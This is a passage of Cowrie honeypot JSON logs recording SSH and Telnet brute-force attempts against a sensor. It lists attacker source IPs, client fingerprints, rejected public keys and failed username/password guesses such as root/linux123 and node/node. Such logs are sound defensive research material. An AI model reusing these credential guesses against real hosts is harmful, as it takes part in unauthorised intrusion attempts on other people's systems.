{"eventid":"cowrie.login.failed","username":"root","fingerprint":"05:39:16:1f:e8:6b:38:72:0b:1f:20:12:cd:11:3d:60","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCMOhV7nA3Ff4aH+UYP2NGef9bImgHnCrkhFn7hIoLYyn9aj3sIJ8+0xW5+jBtXZ0vs0vO39D/Z1ttsehsDrN4dIKrlK8YmbfQkF4qhfadH2RsEitFSLwPAiF0203uHoGZ0EZWlVsAH7oDmh8adEvBx73wASEuM3yjcIrNmAMeEG7KEYevlSkRlcgrj1cHo80pT64Tfx7YT7wRksG0FcE/dfcWo6V80RnRAan9aXGMGOJ3nU12PkqC9f5QKu/vyeeteKPEQqcAg6afz+kU6H/ZrCKOOuOQ0HZBhuIaourSARdoe59kwpMTYSerNBDe9l6N4VV9bmFwNbYOV/JXEmXNr","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:45:31.084662Z","src_ip":"78.111.67.246","session":"b4ca3e7c0aa9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"59:1b:82:48:4a:73:ec:53:13:9f:c0:59:e2:36:03:29","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILFuhFeT9bhraRgsz33c/2YKaLeWMramQxVYM8YHauAX","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 59:1b:82:48:4a:73:ec:53:13:9f:c0:59:e2:36:03:29","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:45:31.179631Z","src_ip":"78.111.67.246","session":"b4ca3e7c0aa9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"59:1b:82:48:4a:73:ec:53:13:9f:c0:59:e2:36:03:29","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILFuhFeT9bhraRgsz33c/2YKaLeWMramQxVYM8YHauAX","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:45:31.183488Z","src_ip":"78.111.67.246","session":"b4ca3e7c0aa9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"09:97:66:93:dd:6b:bd:80:9d:0f:59:93:0d:26:42:ae","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDt8DFJvPkJi4kAS8qIxpFJfpPeBaP4kZpk4UboKLEONGcczDCEg/lJrnJFbpbdHf5UQzIy3QgRCPY2FtYrb3cr0gye4cVyB3rjehLWa4ym9MgR2QQE0INjM7vQMYM1k+sFfYFQbO/yuMQIQV/2MDRabzn8L9Bd/jVwnn95Qh2r16h0u99Xn3zBgofYpTlRMPMSzRVxmH6nz8R8qrW4wGzxhu3/CJLQ2LqoVhI296nJzJWJr2MJZFoUV/NEBGAG6YYXsPVaK/x/7vxRWoL00pBy8p0dHKpbbE19hbIr5lzxg/+vKk9jG09YfD3OEkRonEFhJPyaDuDHygshNvc4Frhd","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 09:97:66:93:dd:6b:bd:80:9d:0f:59:93:0d:26:42:ae","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:45:31.275249Z","src_ip":"78.111.67.246","session":"b4ca3e7c0aa9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"09:97:66:93:dd:6b:bd:80:9d:0f:59:93:0d:26:42:ae","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDt8DFJvPkJi4kAS8qIxpFJfpPeBaP4kZpk4UboKLEONGcczDCEg/lJrnJFbpbdHf5UQzIy3QgRCPY2FtYrb3cr0gye4cVyB3rjehLWa4ym9MgR2QQE0INjM7vQMYM1k+sFfYFQbO/yuMQIQV/2MDRabzn8L9Bd/jVwnn95Qh2r16h0u99Xn3zBgofYpTlRMPMSzRVxmH6nz8R8qrW4wGzxhu3/CJLQ2LqoVhI296nJzJWJr2MJZFoUV/NEBGAG6YYXsPVaK/x/7vxRWoL00pBy8p0dHKpbbE19hbIr5lzxg/+vKk9jG09YfD3OEkRonEFhJPyaDuDHygshNvc4Frhd","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:45:31.279267Z","src_ip":"78.111.67.246","session":"b4ca3e7c0aa9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"30:80:e0:71:03:9d:b9:66:e8:d1:b3:12:f6:2f:f6:8e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCdybUqt/gPef8IwpyTjtxwFpceb/iFic7LGatZSK357Z7MSiltJOKw3nNaR8ABz0dLzC211z4ePLb5NnacV/K1cyKpbiB+UJijmKkP5h3eJoVJ3Sr1IlwJeYv1tkTUhhtIKHDR6qcJ9ZXpG7VP6RqCJESVQLRpUchiUjOyxO/6k/hq/DbEsl4RzYIVytd7dfBTrO4Zuig7u72L1RBQYS8+242uqaKBR+9jQ7G6KZxZaklLHnPkoPM5/arN0BeCMt/HAqeUtKCvHyuTKN/C5NBXn/Np6uz/46E1Wz6eey/DIHN3PUwMwZDi7hqvj7OOuZqssHF2h7XcYVTZnxXRq0YF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 30:80:e0:71:03:9d:b9:66:e8:d1:b3:12:f6:2f:f6:8e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:45:31.370587Z","src_ip":"78.111.67.246","session":"b4ca3e7c0aa9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"30:80:e0:71:03:9d:b9:66:e8:d1:b3:12:f6:2f:f6:8e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCdybUqt/gPef8IwpyTjtxwFpceb/iFic7LGatZSK357Z7MSiltJOKw3nNaR8ABz0dLzC211z4ePLb5NnacV/K1cyKpbiB+UJijmKkP5h3eJoVJ3Sr1IlwJeYv1tkTUhhtIKHDR6qcJ9ZXpG7VP6RqCJESVQLRpUchiUjOyxO/6k/hq/DbEsl4RzYIVytd7dfBTrO4Zuig7u72L1RBQYS8+242uqaKBR+9jQ7G6KZxZaklLHnPkoPM5/arN0BeCMt/HAqeUtKCvHyuTKN/C5NBXn/Np6uz/46E1Wz6eey/DIHN3PUwMwZDi7hqvj7OOuZqssHF2h7XcYVTZnxXRq0YF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:45:31.373970Z","src_ip":"78.111.67.246","session":"b4ca3e7c0aa9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8a:8c:a4:ff:18:81:8f:8f:41:a3:80:95:8b:ff:ab:18","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAoUkMxDR3sL3r1CNuLXyXq/3KQ77eTY6AR7FYd+B3uHYzsVtUNeyicAbqPVgNT4y4xlNTKFlS+fObDA7kk6o3CvjpWNUlPWhM2N1DNFp8WQVjVwNdE6Lrqn0bkZa2TT5tGPYj8wNwTNjG/kATg67OG0B/dELOW85ay1qZoxxkqS6oQ2+beRwGqkTmdVfOBuSBYSJp0OqAmecKGH+mHZZ9dPYkvwso/ZTMCMdXuSpUuPDSgmrPu7JUcNhRC3KBAdwSexTI14wGA7Y1z7JUgRUM3spZiP9rIrrnRLlrYQ/3oN4SfCy+H2eWVD3KelPFEUmZZP30x/r6Y8o1aPEo+FImIQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8a:8c:a4:ff:18:81:8f:8f:41:a3:80:95:8b:ff:ab:18","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:45:31.465834Z","src_ip":"78.111.67.246","session":"b4ca3e7c0aa9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8a:8c:a4:ff:18:81:8f:8f:41:a3:80:95:8b:ff:ab:18","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAoUkMxDR3sL3r1CNuLXyXq/3KQ77eTY6AR7FYd+B3uHYzsVtUNeyicAbqPVgNT4y4xlNTKFlS+fObDA7kk6o3CvjpWNUlPWhM2N1DNFp8WQVjVwNdE6Lrqn0bkZa2TT5tGPYj8wNwTNjG/kATg67OG0B/dELOW85ay1qZoxxkqS6oQ2+beRwGqkTmdVfOBuSBYSJp0OqAmecKGH+mHZZ9dPYkvwso/ZTMCMdXuSpUuPDSgmrPu7JUcNhRC3KBAdwSexTI14wGA7Y1z7JUgRUM3spZiP9rIrrnRLlrYQ/3oN4SfCy+H2eWVD3KelPFEUmZZP30x/r6Y8o1aPEo+FImIQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:45:31.469212Z","src_ip":"78.111.67.246","session":"b4ca3e7c0aa9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:45:31.562421Z","src_ip":"78.111.67.246","session":"b4ca3e7c0aa9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":60712,"dst_ip":"10.17.0.5","dst_port":23,"session":"c234e0a547b1","protocol":"telnet","message":"New connection: 50.6.8.71:60712 (10.17.0.5:23) [session: c234e0a547b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:45:33.801998Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":59980,"dst_ip":"10.17.0.5","dst_port":23,"session":"5aba6420046b","protocol":"telnet","message":"New connection: 50.6.8.71:59980 (10.17.0.5:23) [session: 5aba6420046b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:45:49.489009Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":59986,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef7c5756a188","protocol":"telnet","message":"New connection: 50.6.8.71:59986 (10.17.0.5:23) [session: ef7c5756a188]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:45:55.289547Z"}
{"eventid":"cowrie.session.closed","duration":30.798685550689697,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:46:04.600567Z","src_ip":"50.6.8.71","session":"c234e0a547b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.127.55","src_port":49578,"dst_ip":"159.203.135.109","dst_port":22,"session":"bc7d62766bdb","protocol":"ssh","message":"New connection: 89.223.127.55:49578 (159.203.135.109:22) [session: bc7d62766bdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:46:19.761852Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:46:19.767100Z","src_ip":"89.223.127.55","session":"bc7d62766bdb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:46:19.879266Z","src_ip":"89.223.127.55","session":"bc7d62766bdb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:46:20.215152Z","src_ip":"89.223.127.55","session":"bc7d62766bdb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.09497570991516,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:46:20.583869Z","src_ip":"50.6.8.71","session":"5aba6420046b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:46:21.330118Z","src_ip":"89.223.127.55","session":"bc7d62766bdb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.53051233291626,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:46:26.819877Z","src_ip":"50.6.8.71","session":"ef7c5756a188","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":53694,"dst_ip":"159.203.135.109","dst_port":22,"session":"173fdbf2f983","protocol":"ssh","message":"New connection: 87.106.29.151:53694 (159.203.135.109:22) [session: 173fdbf2f983]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:46:35.708767Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:46:35.713220Z","src_ip":"87.106.29.151","session":"173fdbf2f983","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:46:35.805757Z","src_ip":"87.106.29.151","session":"173fdbf2f983","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux123","message":"login attempt [root/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:46:36.207215Z","src_ip":"87.106.29.151","session":"173fdbf2f983","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:46:37.302247Z","src_ip":"87.106.29.151","session":"173fdbf2f983","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":34588,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4492ba3873e","protocol":"telnet","message":"New connection: 50.6.8.71:34588 (10.17.0.5:23) [session: f4492ba3873e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:46:49.186561Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":57278,"dst_ip":"10.17.0.5","dst_port":22,"session":"b37682c82067","protocol":"ssh","message":"New connection: 2.57.122.238:57278 (10.17.0.5:22) [session: b37682c82067]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:46:57.502759Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:46:57.507658Z","src_ip":"2.57.122.238","session":"b37682c82067","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:46:57.612100Z","src_ip":"2.57.122.238","session":"b37682c82067","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"node","message":"login attempt [node/node] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:46:57.924694Z","src_ip":"2.57.122.238","session":"b37682c82067","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:46:59.031852Z","src_ip":"2.57.122.238","session":"b37682c82067","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.067769289016724,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:47:21.254248Z","src_ip":"50.6.8.71","session":"f4492ba3873e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"67.222.148.25","src_port":45624,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f05f65e2083","protocol":"telnet","message":"New connection: 67.222.148.25:45624 (10.17.0.5:23) [session: 3f05f65e2083]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:47:28.261806Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":55918,"dst_ip":"10.17.0.5","dst_port":23,"session":"14a4fb61df06","protocol":"telnet","message":"New connection: 50.6.8.71:55918 (10.17.0.5:23) [session: 14a4fb61df06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:47:29.102338Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":47138,"dst_ip":"159.203.135.109","dst_port":22,"session":"e779fafc747f","protocol":"ssh","message":"New connection: 87.106.29.151:47138 (159.203.135.109:22) [session: e779fafc747f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:47:46.748773Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:47:46.754045Z","src_ip":"87.106.29.151","session":"e779fafc747f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:47:46.851125Z","src_ip":"87.106.29.151","session":"e779fafc747f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"brengoziscute","password":"0day.today","message":"login attempt [brengoziscute/0day.today] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:47:47.286651Z","src_ip":"87.106.29.151","session":"e779fafc747f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:47:48.386659Z","src_ip":"87.106.29.151","session":"e779fafc747f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.18042802810669,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:48:01.282674Z","src_ip":"50.6.8.71","session":"14a4fb61df06","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":48814,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a338a6a3b21","protocol":"telnet","message":"New connection: 50.6.8.71:48814 (10.17.0.5:23) [session: 1a338a6a3b21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:48:03.823548Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":51340,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c4bb722c1ef","protocol":"ssh","message":"New connection: 80.94.92.184:51340 (159.203.135.109:22) [session: 2c4bb722c1ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:48:05.286402Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:48:05.518302Z","src_ip":"80.94.92.184","session":"2c4bb722c1ef","protocol":"ssh"}
